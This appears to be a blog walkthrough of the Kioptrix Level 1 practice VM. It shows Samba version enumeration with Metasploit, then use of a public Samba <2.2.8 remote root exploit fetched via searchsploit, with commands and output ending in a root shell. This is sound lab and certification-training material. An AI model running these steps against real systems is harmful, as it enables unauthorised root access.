Kioptrix Level 1 Walkthrough – Part 2 (SMB) (OSCP Prep)

Kioptrix Level 1 Walkthrough – Part 2 (SMB) (OSCP Prep)


So you’ve successfully gotten root on Kioptrix Level 1 using the mod_ssl exploit outlined in Part 1. What next?

It turns out there is another attack vector we can use to compromise the Kioptrix Level 1 machine. In this walkthrough, we will examine how to gain root access to the Kioptrix machine using an SMB exploit.

For the purposes of brevity, this write-up will skip much of the initial scanning and enumeration of the box, as well as the post-exploitation process. Please refer to Part 1. Instead, we will assume here that you have already run a port scan and are ready to probe for vulnerabilities.

Before We Begin

As discussed in Part 1, Kioptrix Level 1 is an old machine. Due to this, there are a few issues we may run into when attempting to hack this VM in a contemporary setting.

Network Configuration and SSH

The first two problems involve the virtual machine’s network configuration and an SSH compatibility issue. For more information on resolving these issues, refer to Part 1.

Outdated SMB Configuration

The last issue we will face is an outdated SMB configuration on the target machine. A modern system may not be able to communicate with the Kioptrix machine’s SMB service using a default configuration.

The problem stems from the fact that Kioptrix uses a much older and obsolete version of SMB. Kali will not “speak” this version of SMB by default. In order to tell our modern Linux system to communicate with this older protocol, we must edit the SMB configuration.

With root privileges, using your favorite text editor, open up the file /etc/samba/smb.conf and make sure the following two lines are present in the [global] section of the file (be sure to indent the lines under the [global] section heading):

        client min protocol = CORE
        client max protocol = SMB3

Now our modern system should be able to speak to the Kioptrix SMB server without issue.


Scanning and Enumeration

See Part 1 for more details on the initial port scan.

With a completed nmap scan, we can see details about all open ports on the Kioptrix system and the services running on each port. In the first part of this walkthrough, we focused on the web server (specifically, mod_ssl). In this second part, we will look to attacking the SMB service.

Having a look at the completed nmap scan, we see the SMB service running on port 139:

139/tcp  open  netbios-ssn syn-ack Samba smbd (workgroup: MYGROUP)

In order to determine if there are any known vulnerabilities for this service, we need to know what version of Samba is running on the machine. Sometimes, enum4linux can be useful in determining an SMB server version. While some have successfully used enum4linux to enumerate the Samba version on this box, I had no success. In this instance, I turned to metasploit.

Fire up msfconsole. We need to search for a module that will enumerate the SMB server version.

msf6 > search smb version type:auxiliary

Matching Modules

   #  Name                                                      Disclosure Date  Rank    Check  Description
   -  ----                                                      ---------------  ----    -----  ----------
   0  auxiliary/dos/windows/smb/rras_vls_null_deref             2006-06-14       normal  No     Microsoft RRAS InterfaceAdjustVLSPointers NULL Dereference
   1  auxiliary/dos/windows/smb/ms11_019_electbowser                             normal  No     Microsoft Windows Browser Pool DoS
   2  auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow                   normal  No     Microsoft Windows SRV.SYS SrvSmbQueryFsInformation Pool Overflow DoS
   3  auxiliary/scanner/smb/smb_version                                          normal  No     SMB Version Detection

The smb_version module looks promising. Let’s load it up and check out what options need to be set:

msf6 > use auxiliary/scanner/smb/smb_version 
msf6 auxiliary(scanner/smb/smb_version) > show info

       Name: SMB Version Detection
     Module: auxiliary/scanner/smb/smb_version
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  hdm <>
  Spencer McIntyre
  Christophe De La Fuente

Check supported:

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  THREADS  1                yes       The number of concurrent threads (max one per host)

  Fingerprint and display version information about SMB servers. 
  Protocol information and host operating system (if available) will 
  be reported. Host operating system detection requires the remote 
  server to support version 1 of the SMB protocol. Compression and 
  encryption capability negotiation is only present in version 3.1.1.

It looks like all we need to set is the RHOSTS option. Let’s set it to our target IP and run the module:

msf6 auxiliary(scanner/smb/smb_version) > set rhosts
rhosts =>
msf6 auxiliary(scanner/smb/smb_version) > run

[*]       - SMB Detected (versions:) (preferred dialect:) (signatures:optional)
[*]       -   Host could not be identified: Unix (Samba 2.2.1a)
[*]          - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

We see the Samba server has been identified as version 2.2.1a. Now let’s look for exploits.


First, we use searchsploit to search for any relevant exploits:

Searching for Samba exploit with searchsploit

The RCE looks like a good candidate. We can mirror it and rename it:

└─$ searchsploit -m multiple/remote/10.c

  Exploit: Samba < 2.2.8 (Linux/BSD) - Remote Code Execution
     Path: /usr/share/exploitdb/exploits/multiple/remote/10.c
File Type: C source, ASCII text, with CRLF line terminators

Copied to: /home/ori0n/kioptrix1/scans/10.c

└─$ mv 10.c smbsploit.c

Now we can compile the exploit and check out what arguments are necessary:

└─$ gcc -o smbsploit smbsploit.c

└─$ ./smbsploit
samba-2.2.8 < remote root exploit by eSDee (|be)
Usage: ./smbsploit [-bBcCdfprsStv] [host]

-b <platform>   bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD 3.1 and prior, 3 = OpenBSD 3.2)
-B <step>       bruteforce steps (default = 300)
-c <ip address> connectback ip address
-C <max childs> max childs for scan/bruteforce mode (default = 40)
-d <delay>      bruteforce/scanmode delay in micro seconds (default = 100000)
-f              force
-p <port>       port to attack (default = 139)
-r <ret>        return address
-s              scan mode (random)
-S <network>    scan mode
-t <type>       presets (0 for a list)
-v              verbose mode

Running while providing only a remote host address fails, but adding the -b0 option to specify a Linux target seems to do the trick:

└─$ ./smbsploit -b0                                                             1 ⨯
samba-2.2.8 < remote root exploit by eSDee (|be)
+ Bruteforce mode. (Linux)
+ Host is running samba.
+ Worked!
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)

It looks like we have a shell! Let’s verify:



tail /etc/passwd
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/bin/false
ident:x:98:98:pident user:/:/sbin/nologin
radvd:x:75:75:radvd user:/:/bin/false
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash

We’re in!

Post-Exploitation and Capturing the Flag

As we’ve already covered post-exploitation and finding the “flag” in Part 1, please refer there for more details on this part of the process.

Next Steps

By now, you have compromised Kioptrix Level 1 using two separate attack vectors. A good next step would be to take on Kioptrix Level 1.1. Alternatively, you can check out the NetSecFocus Trophy Room for new machines to attack.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.